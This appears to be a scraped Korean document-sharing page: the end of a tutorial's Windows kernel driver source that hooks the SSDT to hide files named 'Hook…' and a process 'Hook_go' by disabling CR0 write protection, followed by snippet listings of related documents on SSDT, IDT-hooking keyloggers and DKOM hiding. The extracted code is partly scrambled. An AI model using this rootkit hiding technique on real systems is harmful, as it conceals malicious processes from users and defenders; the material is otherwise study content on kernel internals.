eax; eax, cr0; eax, SetCr_Mask; cr0, eax; eax; //CR0의 WP를설정 VOID SetCr_WP(VOID) asm push mov or mov pop eax; eax, cr0; eax, not SetCr_Mask; cr0, eax; eax;

37 // 새로운 ZwQueryDirectoryFile NTSTATUS NewZwQueryDirectoryFile( IN HANDLE filehandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass, IN BOOLEAN ReturnSingleEntry, IN PUNICODE_STRING FileName OPTIONAL, IN BOOLEAN RestartScan) NTSTATUS ntstatus; //NtQueryDirectoryFile 함수호출 ntstatus = ((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile)) ( filehandle, Event, ApcRoutine, ApcContext, IoStatusBlock, FileInformation, Length, FileInformationClass, ReturnSingleEntry, FileName, RestartScan); if( NT_SUCCESS(ntStatus)) //FileInformation 구조체 struct _FILE_INFORMATION *curr = (struct _FILE_INFORMATION *)FileInformation; struct _FILE_INFORMATION *prev = NULL; DbgPrint(" n"); while(curr) if (curr->filename!= NULL) // 파일명이 "Hook" 으로시작하거나 "TestFile.txt" 인경우 if((0 == memcmp(curr->filename, L"Hook", 8)) (0 == memcmp(curr->filename, L"TestFile.txt", 24)))

38 다음 FileInformation 의위치를저장한다. curr->nextentryoffset; // 전 FileInformation이존재하는경우 if(prev) // 전 FileInformation의 NetxtEntryOffset에 if(curr->nextentryoffset) prev->nextentryoffset += // 마지막프로세서일경우 else prev->nextentryoffset = 0; // 전 FileInformation이존재하지않는경우 else // 다음 FileInformation이존재하는경우 if(curr->nextentryoffset) // 다음 FileInformation을맨앞의 FileInformation으로만든다. (char *)FileInformation += curr->nextentryoffset; // 마지막프로세서일경우 else FileInformation = NULL; // 현재 FileInformation을저장 prev = curr; // 다음 FileInformation으로넘어감 if(curr->nextentryoffset ) ((char *)curr += curr->nextentryoffset); else curr = NULL; return ntstatus; // 새로운 ZwQuerySystemFile NTSTATUS NewZwQuerySystemInformation( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength) NTSTATUS ntstatus; //NtQuerySystemInfrormation 함수호출

39 ntstatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) ( SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength ); if( NT_SUCCESS(ntStatus)) if(systeminformationclass == 5) struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation; struct _SYSTEM_PROCESSES *prev = NULL; while(curr) if (curr->processname.buffer!= NULL) // 프로세스명이 "Hook_go" 인경우 if(0 == memcmp(curr->processname.buffer, L"Hook_go", 14)) // 전 SystemInformation이존재하는경우 if(prev) // 전 SystemInformation의 NetxtEntryDelta 에다음 SystemInformation의위치를저장한다. if(curr->nextentrydelta) prev->nextentrydelta += curr->nextentrydelta; // 마지막프로세서일경우 else prev->nextentrydelta = 0; // 전 SystemInformation이존재하지않는경우 else // 다음 SystemInformation을맨앞의 SystemInformation으로만든다. if(curr->nextentrydelta) curr->nextentrydelta; (char *)SystemInformation += // 마지막프로세서일경우 else SystemInformation = NULL; // 현재 SystemInformation을저장

40 return ntstatus; prev = curr; // 다음 SystemInformation으로넘어감 if(curr->nextentrydelta) ((char *)curr += curr->nextentrydelta); // 다음 SystemInformation이존재하지않는다면 else curr = NULL; // 드라이버언로드루틴 VOID OnUnload(IN PDRIVER_OBJECT DriverObject) //WP 무력화 ClearCr_WP(); // 후킹한 SSDT를원상복귀시킨다. InterlockedExchange((LONG (LONG)OldZwQueryDirectoryFile); InterlockedExchange((LONG (LONG)OldZwQuerySystemInformation); *)Syscall_Ptr(ZwQueryDirectoryFile), *)Syscall_Ptr(ZwQuerySystemInformation), //WP 설정 SetCr_WP(); // 드라이버엔트리루틴 NTSTATUS DriverEntry(IN PDRIVER_OBJECT thedriverobject, IN PUNICODE_STRING theregistrypath) thedriverobject->driverunload = OnUnload; OldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)Syscall_Ptr(ZwQueryDirectoryFile); OldZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)Syscall_Ptr(ZwQuerySystemInformation); //WP 무력화 ClearCr_WP(); //SSDT 후킹 OldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)InterlockedExchange( (LONG *)Syscall_Ptr(ZwQueryDirectoryFile), (LONG)NewZwQueryDirectoryFile); OldZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)InterlockedExchange( (LONG *)Syscall_Ptr(ZwQuerySystemInformation), (LONG)NewZwQuerySystemInformation); //WP 설정 SetCr_WP();

41 return STATUS_SUCCESS;

Microsoft Word - [Windows Hook] 6.HideProcess.doc

Microsoft Word - [Windows Hook] 6.HideProcess.doc Hide Process Last Update : 2007 년 6 월 11 일 Written by Jerald Lee Contact Me : lucid78@gmail.com 본문서는 SSDT Hook을이용한프로세스를감추는기술에대해정리한것입니다. 제가알고있는지식이너무짧아가급적이면다음에언제보아도쉽게이해할수있도록쓸려고노력하였습니다. 기존에나와있는여러훌륭한문서들을토대로짜집기의형태로작성되었으며기술하지못한원문저자들에게매우죄송할따름입니다.

More information

<B1E2BCFAB9AEBCAD28C0CCB5BFBCF6295F494454486F6F6B696E672E687770>

<B1E2BCFAB9AEBCAD28C0CCB5BFBCF6295F494454486F6F6B696E672E687770> IDT Hooking을 이용한 Simple KeyLogger 이동수 alonglog@is119.jnu.ac.kr 개 요 커널 Hooking에 관하여 공부하는 중에 IDT Hooking에 관하여 알게 되었다. 이전에 공부하 였던 SSDT Hooking과는 다른 요소가 많다. IDT Hooking을 공부하면서 컴퓨터의 인터럽트 과정을 이해할 수 있는 좋은 계기가

More information

Chapter #01 Subject

Chapter #01  Subject Device Driver March 24, 2004 Kim, ki-hyeon 목차 1. 인터럽트처리복습 1. 인터럽트복습 입력검출방법 인터럽트방식, 폴링 (polling) 방식 인터럽트서비스등록함수 ( 커널에등록 ) int request_irq(unsigned int irq, void(*handler)(int,void*,struct pt_regs*), unsigned

More information

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 System call table and linkage v Ref. http://www.ibm.com/developerworks/linux/library/l-system-calls/ - 2 - Young-Jin Kim SYSCALL_DEFINE 함수

More information

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx #include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의

More information

1

1 초보자를위한 Kernel based windows rootkit -1 부 - By Beist Security Study Group (http://beist.org) 요약 : 이문서는윈도우 2000/XP/2003 환경에서의커널루트킷에대한개요와윈도우와하드웨어간의커넥션에대해다룹니다. 그리고실습을위해커널레벨에서 CR0 레지스터를변경하여 SSDT 의 read-only

More information

<C1A4C8B8BFF8C6F2B0A15FB1E2BCFAB9AEBCAD5F444B4F4D5FC0CCB5BFBCF62E687770>

<C1A4C8B8BFF8C6F2B0A15FB1E2BCFAB9AEBCAD5F444B4F4D5FC0CCB5BFBCF62E687770> DKOM을이용한은닉기법 이동수 alonglog@is119.jnu.ac.kr 개 요 유저모드에서프로세스나디바이스드라이버등을확인할수없도록만드는기법중하나가커널 Hooking과 DKOM 기법이있다. DKOM 기법은 Hooking과다르게커널개체를직접변경한다. 이는 Hooking보다훨씬강력하고탐지가힘들다. 이문서에서는 DKOM에대해서다룰것이다. DKOM 기법을통해다양한효과를얻을수있다.

More information

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D> 리눅스 오류처리하기 2007. 11. 28 안효창 라이브러리함수의오류번호얻기 errno 변수기능오류번호를저장한다. 기본형 extern int errno; 헤더파일 라이브러리함수호출에실패했을때함수예 정수값을반환하는함수 -1 반환 open 함수 포인터를반환하는함수 NULL 반환 fopen 함수 2 유닉스 / 리눅스 라이브러리함수의오류번호얻기 19-1

More information

SSDT Hooking

SSDT Hooking SSDT Hooking Last Update : 2006 년 11 월 10 일 Written by Jerald Lee Contact Me : lucid78@gmail.com 본문서는커널모드후킹기술중의하나인 SSDT 후킹에대해정리한것입니다. 제가알고있는지식이너무짧아가급적이면다음에언제봐도쉽게이해할수있을정도로쉽게쓸려고노력하였습니다. 제가작성하였던기존의 Windows

More information

SSDT(System Service Descriptor Table) Hooking Written by 백구 Contack Me : 목차 가. 이문서의목적... 2 나. 유저모드와커널모드... 2 다. Windows API 흐름..

SSDT(System Service Descriptor Table) Hooking Written by 백구 Contack Me : 목차 가. 이문서의목적... 2 나. 유저모드와커널모드... 2 다. Windows API 흐름.. SSDT(System Service Descriptor Table) Hooking Written by 백구 Contack Me : whiteexplod@naver.com 목차 가. 이문서의목적... 2 나. 유저모드와커널모드... 2 다. Windows API 흐름... 2 1. User Level... 2 2-1. 소프트웨어인터럽트 0x2E에의한커널모드짂입방식...

More information

API 매뉴얼

API 매뉴얼 PCI-DIO12 API Programming (Rev 1.0) Windows, Windows2000, Windows NT and Windows XP are trademarks of Microsoft. We acknowledge that the trademarks or service names of all other organizations mentioned

More information

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Function) 1. 함수의개념 입력에대해적절한출력을발생시켜주는것 내가 ( 프로그래머 ) 작성한명령문을연산, 처리, 실행해주는부분 ( 모듈 ) 자체적으로실행되지않으며,

More information

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures 단일연결리스트 (Singly Linked List) 신찬수 연결리스트 (linked list)? tail 서울부산수원용인 null item next 구조체복습 struct name_card { char name[20]; int date; } struct name_card a; // 구조체변수 a 선언 a.name 또는 a.date // 구조체 a의멤버접근 struct

More information

Microsoft PowerPoint - chap06-2pointer.ppt

Microsoft PowerPoint - chap06-2pointer.ppt 2010-1 학기프로그래밍입문 (1) chapter 06-2 참고자료 포인터 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 포인터의정의와사용 변수를선언하는것은메모리에기억공간을할당하는것이며할당된이후에는변수명으로그기억공간을사용한다. 할당된기억공간을사용하는방법에는변수명외에메모리의실제주소값을사용하는것이다.

More information

API 매뉴얼

API 매뉴얼 PCI-TC03 API Programming (Rev 1.0) Windows, Windows2000, Windows NT, Windows XP and Windows 7 are trademarks of Microsoft. We acknowledge that the trademarks or service names of all other organizations

More information

The Pocket Guide to TCP/IP Sockets: C Version

The Pocket Guide to  TCP/IP Sockets: C Version 인터넷프로토콜 5 장 데이터송수신 (3) 1 파일전송메시지구성예제 ( 고정크기메시지 ) 전송방식 : 고정크기 ( 바이너리전송 ) 필요한전송정보 파일이름 ( 최대 255 자 => 255byte 의메모리공간필요 ) 파일크기 (4byte 의경우최대 4GB 크기의파일처리가능 ) 파일내용 ( 가변길이, 0~4GB 크기 ) 메시지구성 FileName (255bytes)

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 System Software Experiment 1 Lecture 5 - Array Spring 2019 Hwansoo Han (hhan@skku.edu) Advanced Research on Compilers and Systems, ARCS LAB Sungkyunkwan University http://arcs.skku.edu/ 1 배열 (Array) 동일한타입의데이터가여러개저장되어있는저장장소

More information

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습니다. 여러분모두 Windows 에서 hex editor(hex dump, hex viewer) 라는것을사용해보셨을겁니다. 바로바이너리파일을 16 진수

More information

Microsoft Word doc

Microsoft Word doc 2. 디바이스드라이버 [ DIO ] 2.1. 개요 타겟보드의데이터버스를이용하여 LED 및스위치동작을제어하는방법을설명하겠다. 2.2. 회로도 2.3. 준비조건 ARM 용크로스컴파일러가설치되어있어야한다. 하드웨어적인점검을하여정상적인동작을한다고가정한다. NFS(Network File System) 를사용할경우에는 NFS가마운트되어있어야한다. 여기서는소스전문을포함하지않았다.

More information

K&R2 Reference Manual 번역본

K&R2 Reference Manual 번역본 typewriter structunion struct union if-else if if else if if else if if if if else else ; auto register static extern typedef void char short int long float double signed unsigned const volatile { } struct

More information

SSDT Hooking

SSDT Hooking SSDT Hooking Last Update : 2007 년 1 월 4 일 Written by Jerald Lee Contact Me : lucid78@gmail.com 본문서는커널모드후킹기술중의하나인 SSDT 후킹에대해정리한것입니다. 제가알고있는지식이너무짧아가급적이면다음에언제봐도쉽게이해할수있을정도로쉽게쓸려고노력하였습니다. 제가작성하였던기존의 Windows

More information

슬라이드 1

슬라이드 1 마이크로컨트롤러 2 (MicroController2) 2 강 ATmega128 의 external interrupt 이귀형교수님 학습목표 interrupt 란무엇인가? 기본개념을알아본다. interrupt 중에서가장사용하기쉬운 external interrupt 의사용방법을학습한다. 1. Interrupt 는왜필요할까? 함수동작을추가하여실행시키려면? //***

More information

Microsoft PowerPoint - chap10-함수의활용.pptx

Microsoft PowerPoint - chap10-함수의활용.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 중 값에 의한 전달 방법과

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 14. 포인터와함수에대한이해 2013.10.09. 오병우 컴퓨터공학과 14-1 함수의인자로배열전달 기본적인인자의전달방식 값의복사에의한전달 val 10 a 10 11 Department of Computer Engineering 2 14-1 함수의인자로배열전달 배열의함수인자전달방식 배열이름 ( 배열주소, 포인터 ) 에의한전달 #include

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 KeyPad Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착 4x4 Keypad 2 KeyPad 를제어하기위하여 FPGA 내부에 KeyPad controller 가구현 KeyPad controller 16bit 로구성된

More information

슬라이드 1

슬라이드 1 -Part3- 제 4 장동적메모리할당과가변인 자 학습목차 4.1 동적메모리할당 4.1 동적메모리할당 4.1 동적메모리할당 배울내용 1 프로세스의메모리공간 2 동적메모리할당의필요성 4.1 동적메모리할당 (1/6) 프로세스의메모리구조 코드영역 : 프로그램실행코드, 함수들이저장되는영역 스택영역 : 매개변수, 지역변수, 중괄호 ( 블록 ) 내부에정의된변수들이저장되는영역

More information

Lab 3. 실습문제 (Single linked list)_해답.hwp

Lab 3. 실습문제 (Single linked list)_해답.hwp Lab 3. Singly-linked list 의구현 실험실습일시 : 2009. 3. 30. 담당교수 : 정진우 담당조교 : 곽문상 보고서제출기한 : 2009. 4. 5. 학과 : 학번 : 성명 : 실습과제목적 : 이론시간에배운 Singly-linked list를실제로구현할수있다. 실습과제내용 : 주어진소스를이용해 Singly-linked list의각함수를구현한다.

More information

chap 5: Trees

chap 5: Trees 5. Threaded Binary Tree 기본개념 n 개의노드를갖는이진트리에는 2n 개의링크가존재 2n 개의링크중에 n + 1 개의링크값은 null Null 링크를다른노드에대한포인터로대체 Threads Thread 의이용 ptr left_child = NULL 일경우, ptr left_child 를 ptr 의 inorder predecessor 를가리키도록변경

More information

Microsoft Word - FunctionCall

Microsoft Word - FunctionCall Function all Mechanism /* Simple Program */ #define get_int() IN KEYOARD #define put_int(val) LD A val \ OUT MONITOR int add_two(int a, int b) { int tmp; tmp = a+b; return tmp; } local auto variable stack

More information

Microsoft PowerPoint - chap11-포인터의활용.pptx

Microsoft PowerPoint - chap11-포인터의활용.pptx #include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 포인터를 사용하는 다양한 방법에

More information

KEY 디바이스 드라이버

KEY 디바이스 드라이버 KEY 디바이스드라이버 임베디드시스템소프트웨어 I (http://et.smu.ac.kr et.smu.ac.kr) 차례 GPIO 및 Control Registers KEY 하드웨어구성 KEY Driver 프로그램 key-driver.c 시험응용프로그램 key-app.c KEY 디바이스드라이버 11-2 GPIO(General-Purpose Purpose I/O)

More information

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770> 연습문제해답 5 4 3 2 1 0 함수의반환값 =15 5 4 3 2 1 0 함수의반환값 =95 10 7 4 1-2 함수의반환값 =3 1 2 3 4 5 연습문제해답 1. C 언어에서의배열에대하여다음중맞는것은? (1) 3차원이상의배열은불가능하다. (2) 배열의이름은포인터와같은역할을한다. (3) 배열의인덱스는 1에서부터시작한다. (4) 선언한다음, 실행도중에배열의크기를변경하는것이가능하다.

More information

KNK_C_05_Pointers_Arrays_structures_summary_v02

KNK_C_05_Pointers_Arrays_structures_summary_v02 Pointers and Arrays Structures adopted from KNK C Programming : A Modern Approach 요약 2 Pointers and Arrays 3 배열의주소 #include int main(){ int c[] = {1, 2, 3, 4}; printf("c\t%p\n", c); printf("&c\t%p\n",

More information

임베디드시스템설계강의자료 6 system call 1/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

임베디드시스템설계강의자료 6 system call 1/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 임베디드시스템설계강의자료 6 system call 1/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 시스템호출개요 리눅스에서는사용자공간과커널공간을구분 사용자프로그램은사용자모드, 운영체제는커널모드에서수행 커널공간에대한접근은커널 ( 특권, priviledged) 모드에서가능 컴퓨팅자원 (CPU, memory, I/O 등 ) 을안전하게보호 커널수행을안전하게유지

More information

M C S 심 층 분 석 1 루트킷을이용하는악성코드 안철수연구소주임연구원 고흥환 1. 개요 루트킷설치는 SunOS, Unix, Linux 등의루트권한을획득하기위한해커들의가장중요한목적이기도하다. 루트킷 이라는이름의유래도바로이러한루트액세스를위한공격에서유래된것이다. 루트킷의

M C S 심 층 분 석 1 루트킷을이용하는악성코드 안철수연구소주임연구원 고흥환 1. 개요 루트킷설치는 SunOS, Unix, Linux 등의루트권한을획득하기위한해커들의가장중요한목적이기도하다. 루트킷 이라는이름의유래도바로이러한루트액세스를위한공격에서유래된것이다. 루트킷의 루트킷을이용하는악성코드 NCSC-TR050024 M C S 심 층 분 석 1 루트킷을이용하는악성코드 안철수연구소주임연구원 고흥환 1. 개요 루트킷설치는 SunOS, Unix, Linux 등의루트권한을획득하기위한해커들의가장중요한목적이기도하다. 루트킷 이라는이름의유래도바로이러한루트액세스를위한공격에서유래된것이다. 루트킷의시초를보면공격대상의시스템 ( 주로 Unix였다

More information

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100 2015-1 프로그래밍언어 9. 연결형리스트, Stack, Queue 2015 년 5 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) 연결리스트 (Linked List) 연결리스트연산 Stack

More information

Microsoft PowerPoint - chap01-C언어개요.pptx

Microsoft PowerPoint - chap01-C언어개요.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 프로그래밍의 기본 개념을

More information

Frama-C/JESSIS 사용법 소개

Frama-C/JESSIS 사용법 소개 Frama-C 프로그램검증시스템소개 박종현 @ POSTECH PL Frama-C? C 프로그램대상정적분석도구 플러그인구조 JESSIE Wp Aorai Frama-C 커널 2 ROSAEC 2011 동계워크샵 @ 통영 JESSIE? Frama-C 연역검증플러그인 프로그램분석 검증조건추출 증명 Hoare 논리에기초한프로그램검증도구 사용법 $ frama-c jessie

More information

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070>

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070> #include "stdafx.h" #include "Huffman.h" 1 /* 비트의부분을뽑아내는함수 */ unsigned HF::bits(unsigned x, int k, int j) return (x >> k) & ~(~0

More information

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning C Programming Practice (II) Contents 배열 문자와문자열 구조체 포인터와메모리관리 구조체 2/17 배열 (Array) (1/2) 배열 동일한자료형을가지고있으며같은이름으로참조되는변수들의집합 배열의크기는반드시상수이어야한다. type var_name[size]; 예 ) int myarray[5] 배열의원소는원소의번호를 0 부터시작하는색인을사용

More information

UI TASK & KEY EVENT

UI TASK & KEY EVENT KEY EVENT & STATE 구현 2007. 1. 25 PLATFORM TEAM 정용학 차례 Key Event HS TASK UI TASK LONG KEY STATE 구현 소스코드및실행화면 질의응답및토의 2 KEY EVENT - HS TASK hs_task keypad_scan_keypad hs_init keypad_pass_key_code keypad_init

More information

OCW_C언어 기초

OCW_C언어 기초 초보프로그래머를위한 C 언어기초 2 장 : C 프로그램시작하기 2012 년 이은주 학습목표 을작성하면서 C 프로그램의구성요소 주석 (comment) 이란무엇인지알아보고, 주석을만드는방법 함수란무엇인지알아보고, C 프로그램에반드시필요한 main 함수 C 프로그램에서출력에사용되는 printf 함수 변수의개념과변수의값을입력받는데사용되는 scanf 함수 2 목차 프로그램코드

More information

PowerPoint Presentation

PowerPoint Presentation #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을작성하면서 C 프로그램의구성요소에대하여알아본다.

More information

Microsoft PowerPoint - ch10 - 이진트리, AVL 트리, 트리 응용 pm0600

Microsoft PowerPoint - ch10 - 이진트리, AVL 트리, 트리 응용 pm0600 균형이진탐색트리 -VL Tree delson, Velskii, Landis에의해 1962년에제안됨 VL trees are balanced n VL Tree is a binary search tree such that for every internal node v of T, the heights of the children of v can differ by at

More information

Adobe Flash 취약점 분석 (CVE-2012-0754)

Adobe Flash 취약점 분석 (CVE-2012-0754) 기술문서 14. 08. 13. 작성 GNU C library dynamic linker $ORIGIN expansion Vulnerability Author : E-Mail : 윤지환 131ackcon@gmail.com Abstract 2010 년 Tavis Ormandy 에 의해 발견된 취약점으로써 정확한 명칭은 GNU C library dynamic linker

More information

vi 사용법

vi 사용법 네트워크프로그래밍 6 장과제샘플코드 - 1:1 채팅 (udp 버전 ) 과제 서버에서먼저 bind 하고그포트를다른사람에게알려줄것 클라이언트에서알려준포트로접속 서로간에키보드입력을받아상대방에게메시지전송 2 Makefile 1 SRC_DIR =../../common 2 COM_OBJS = $(SRC_DIR)/addressUtility.o $(SRC_DIR)/dieWithMessage.o

More information

Microsoft PowerPoint - 3ÀÏ°_º¯¼ö¿Í »ó¼ö.ppt

Microsoft PowerPoint - 3ÀÏ°_º¯¼ö¿Í »ó¼ö.ppt 변수와상수 1 변수란무엇인가? 변수 : 정보 (data) 를저장하는컴퓨터내의특정위치 ( 임시저장공간 ) 메모리, register 메모리주소 101 번지 102 번지 변수의크기에따라 주로 byte 단위 메모리 2 기본적인변수형및변수의크기 변수의크기 해당컴퓨터에서는항상일정 컴퓨터마다다를수있음 short

More information

UI TASK & KEY EVENT

UI TASK & KEY EVENT T9 & AUTOMATA 2007. 3. 23 PLATFORM TEAM 정용학 차례 T9 개요 새로운언어 (LDB) 추가 T9 주요구조체 / 주요함수 Automata 개요 Automata 주요함수 추후세미나계획 질의응답및토의 T9 ( 2 / 30 ) T9 개요 일반적으로 cat 이라는단어를쓸려면... 기존모드 (multitap) 2,2,2, 2,8 ( 총 6번의입력

More information

지난시간에... 우리는 kernel compile을위하여 cross compile 환경을구축했음. UBUNTU 12.04에서 arm-2009q3를사용하여 간단한 c source를빌드함. 한번은 intel CPU를위한 gcc로, 한번은 ARM CPU를위한 gcc로. AR

지난시간에... 우리는 kernel compile을위하여 cross compile 환경을구축했음. UBUNTU 12.04에서 arm-2009q3를사용하여 간단한 c source를빌드함. 한번은 intel CPU를위한 gcc로, 한번은 ARM CPU를위한 gcc로. AR Configure Kernel Build Environment And kernel & root file system Build 2018-09-27 VLSI Design Lab 1 지난시간에... 우리는 kernel compile을위하여 cross compile 환경을구축했음. UBUNTU 12.04에서 arm-2009q3를사용하여 간단한 c source를빌드함.

More information

OPCTalk for Hitachi Ethernet 1 2. Path. DCOMwindow NT/2000 network server. Winsock update win95. . . 3 Excel CSV. Update Background Thread Client Command Queue Size Client Dynamic Scan Block Block

More information

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서 커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드

More information

VC++ 6

VC++ 6 VC++ 6.0 툴을사용한디바이스드라이버제작방법 1. win32 App 타입으로새로운프로젝트를생성한다. 2. 메뉴에서프로젝트셋팅을선택한후다음과같이설정을해준다. A. C/C++ Tab의 general Category에서 Debug Info를 Program Database로설정한다. B. C/C++ Tab의 C++ language Category에서 Enable

More information

11장 포인터

11장 포인터 Dynamic Memory and Linked List 1 동적할당메모리의개념 프로그램이메모리를할당받는방법 정적 (static) 동적 (dynamic) 정적메모리할당 프로그램이시작되기전에미리정해진크기의메모리를할당받는것 메모리의크기는프로그램이시작하기전에결정 int i, j; int buffer[80]; char name[] = data structure"; 처음에결정된크기보다더큰입력이들어온다면처리하지못함

More information

Microsoft PowerPoint - chap06-5 [호환 모드]

Microsoft PowerPoint - chap06-5 [호환 모드] 2011-1 학기프로그래밍입문 (1) chapter 06-5 참고자료 변수의영역과데이터의전달 박종혁 Tel: 970-6702 Email: jhpark1@seoultech.ac.kr h k 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- ehanbit.net 자동변수 지금까지하나의함수안에서선언한변수는자동변수이다. 사용범위는하나의함수내부이다. 생존기간은함수가호출되어실행되는동안이다.

More information

Microsoft PowerPoint - 03_(C_Programming)_(Korean)_Pointers

Microsoft PowerPoint - 03_(C_Programming)_(Korean)_Pointers C Programming 포인터 (Pointers) Seo, Doo-Ok Clickseo.com clickseo@gmail.com 목 차 포인터의이해 다양한포인터 2 포인터의이해 포인터의이해 포인터변수선언및초기화 포인터연산 다양한포인터 3 주소연산자 ( & ) 포인터의이해 (1/4) 변수와배열원소에만적용한다. 산술식이나상수에는주소연산자를사용할수없다. 레지스터변수또한주소연산자를사용할수없다.

More information

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

Microsoft PowerPoint - chap13-입출력라이브러리.pptx #include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 스트림의 기본 개념을 알아보고,

More information

윤성우의 열혈 TCP/IP 소켓 프로그래밍

윤성우의 열혈 TCP/IP 소켓 프로그래밍 C 프로그래밍프로젝트 Chap 22. 구조체와사용자정의자료형 1 2013.10.10. 오병우 컴퓨터공학과 구조체의정의 (Structure) 구조체 하나이상의기본자료형을기반으로사용자정의자료형 (User Defined Data Type) 을만들수있는문법요소 배열 vs. 구조체 배열 : 한가지자료형의집합 구조체 : 여러가지자료형의집합 사용자정의자료형 struct

More information

게시판 스팸 실시간 차단 시스템

